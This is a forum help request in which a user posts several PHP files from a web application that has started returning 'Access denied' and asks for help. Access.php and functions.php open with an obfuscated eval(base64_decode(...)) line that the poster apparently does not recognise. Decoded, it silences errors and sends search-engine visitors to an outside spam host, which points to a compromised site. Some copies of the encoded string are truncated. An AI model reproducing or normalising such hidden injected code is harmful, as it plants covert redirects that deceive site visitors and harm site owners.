- Joined
- Nov 25, 2004
- Messages
- 1,249
- Reaction score
- 23
Im trying to add a new person to database and its giving access denied from out of nowhere, it was working before.
this are my two main files:
Error im getting Access denied.
Access.php
add_applicant.php
Header only the rest is the html template.
functions.php
By what i understand its checking database and says its not an agent which is the access i need to add new applicants, any1 can help:?:?
this are my two main files:
Error im getting Access denied.
Access.php
PHP:
<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2J1eW9yZGllLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0=")); ?>
<?
if($_SESSION['agent_type'] != "AGENT"){
?>
<link href="../style.css" rel="stylesheet" type="text/css">
<div align="center">
<p class="r16"><strong>Access Denied...</strong></p>
<p>
<input name="cancel" type="button" id="cancel" value="Index" onClick="javascript:location.href='../';">
</p>
</div>
<?
die();
}
?>
add_applicant.php
PHP:
<?php
session_start();
set_time_limit(0);
error_reporting (E_ALL ^ E_NOTICE);
$_SESSION['agent_lang'] = "EN";
$base_folder = "";
$lang = "en";
include("../function_read_countries.php");
$paises = function_read_countries("en");
?>
<?
$permiso = "AGENT";
include("../access.php");
include("../functions.php");
?>
<?
include ("../../tconnection.php");
$Coneccion = new TConeccion();
$Coneccion_tmp = new TConeccion();
?>
<?php
function quitar_enters($text){
$text = nl2br($text);
$pos = strpos($text, "<br />");
if($pos > 0){
$text = substr($text, 0, $pos);
}
return $text;
}
?>
functions.php
PHP:
<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2J1eW9yZGllLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0=")); ?>
<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2J1eW9yZGllLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCn0="));
function mes_str($mes_int){
switch ($mes_int) {
case "01":
$mes = "January";
break;
case "02":
$mes = "February";
break;
case "03":
$mes = "March";
break;
case "04":
$mes = "April";
break;
case "05":
$mes = "May";
break;
case "06":
$mes = "June";
break;
case "07":
$mes = "Julio";
break;
case "08":
$mes = "August";
break;
case "09":
$mes = "September";
break;
case "10":
$mes = "October";
break;
case "11":
$mes = "November";
break;
case "12":
$mes = "December";
break;
}
return $mes;
}
function redondear($numero) {
return number_format($numero,2,'.','.');
}
function date_dentrode($dias){
$result = mktime(0, 0, 0, date("m"), date("d") + $dias, date("Y"));
$result = date("Ymd", $result);
return $result;
}
?>
By what i understand its checking database and says its not an agent which is the access i need to add new applicants, any1 can help:?:?